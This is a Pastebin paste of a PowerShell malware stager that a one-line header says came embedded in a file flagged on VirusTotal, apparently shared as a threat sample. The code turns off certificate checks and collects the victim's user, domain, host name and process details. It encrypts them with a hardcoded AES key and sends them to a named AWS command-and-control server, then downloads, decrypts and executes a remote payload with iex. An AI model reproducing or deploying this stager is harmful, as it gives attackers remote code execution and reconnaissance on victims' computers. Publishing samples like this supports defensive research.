Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- # malicious powershell embedded in https://www.virustotal.com/#/file/c559fb75ccbe922c2b3f28c40f6525d575406d64febd87b68d0c4c0141d4aaa6/detection
- [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
- $sc="https://ec2-13-127-208-134.ap-south-1.compute.amazonaws.com:443"
- $s="https://ec2-13-127-208-134.ap-south-1.compute.amazonaws.com:443/images/static/content/"
- function CAM ($key,$IV){
- $a = New-Object -TypeName "System.Security.Cryptography.RijndaelManaged"
- $a.Mode = [System.Security.Cryptography.CipherMode]::CBC
- $a.Padding = [System.Security.Cryptography.PaddingMode]::Zeros
- $a.BlockSize = 128
- $a.KeySize = 256
- if ($IV)
- {
- if ($IV.getType().Name -eq "String")
- {$a.IV = [System.Convert]::FromBase64String($IV)}
- else
- {$a.IV = $IV}
- }
- if ($key)
- {
- if ($key.getType().Name -eq "String")
- {$a.Key = [System.Convert]::FromBase64String($key)}
- else
- {$a.Key = $key}
- }
- $a}
- function ENC ($key,$un){
- $b = [System.Text.Encoding]::UTF8.GetBytes($un)
- $a = CAM $key
- $e = $a.CreateEncryptor()
- $f = $e.TransformFinalBlock($b, 0, $b.Length)
- [byte[]] $p = $a.IV + $f
- [System.Convert]::ToBase64String($p)
- }
- function DEC ($key,$enc){
- $b = [System.Convert]::FromBase64String($enc)
- $IV = $b[0..15]
- $a = CAM $key $IV
- $d = $a.CreateDecryptor()
- $u = $d.TransformFinalBlock($b, 16, $b.Length - 16)
- [System.Text.Encoding]::UTF8.GetString($u)}
- function Get-Webclient ($Cookie) {
- $d = (Get-Date -Format "dd/MM/yyyy");
- $d = [datetime]::ParseExact($d,"dd/MM/yyyy",$null);
- $k = [datetime]::ParseExact("09/08/2018","dd/MM/yyyy",$null);
- if ($k -lt $d) {exit}
- $username = ""
- $password = ""
- $proxyurl = ""
- $wc = New-Object System.Net.WebClient;
- $h=""
- if ($h -and (($psversiontable.CLRVersion.Major -gt 2))) {$wc.Headers.Add("Host",$h)}
- elseif($h){$script:s="https://$($h)images/static/content/";$script:sc="https://$($h)"}
- $wc.Headers.Add("User-Agent","Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; Touch; rv:11.0) like Gecko")
- $wc.Headers.Add("Referer","")
- if ($proxyurl) {
- $wp = New-Object System.Net.WebProxy($proxyurl,$true);
- if ($username -and $password) {
- $PSS = ConvertTo-SecureString $password -AsPlainText -Force;
- $getcreds = new-object system.management.automation.PSCredential $username,$PSS;
- $wp.Credentials = $getcreds;
- } else { $wc.UseDefaultCredentials = $true; }
- $wc.Proxy = $wp; } else {
- $wc.UseDefaultCredentials = $true;
- $wc.Proxy.Credentials = $wc.Credentials;
- } if ($cookie) { $wc.Headers.Add([System.Net.HttpRequestHeader]::Cookie, "SessionID=$Cookie") }
- $wc }
- function primer {
- if ($env:username -eq "$($env:computername)$"){$u="NT AUTHORITY\SYSTEM"}else{$u=$env:username}
- $o="$env:userdomain\$u;$u;$env:computername;$env:PROCESSOR_ARCHITECTURE;$pid;https://ec2-13-127-208-134.ap-south-1.compute.amazonaws.com"
- $pp=enc -key 0Kdjin+hG/Ym53Fa2i4C8y8PSh8ckR1zIl5CkHrPV00= -un $o
- $primer = (Get-Webclient -Cookie $pp).downloadstring($s)
- dec -key 0Kdjin+hG/Ym53Fa2i4C8y8PSh8ckR1zIl5CkHrPV00= -enc $primer}
- $primer = primer
- if ($primer) {$primer| iex} else {
- start-sleep 1800
- primer | iex }
Add Comment
Please, Sign In to add comment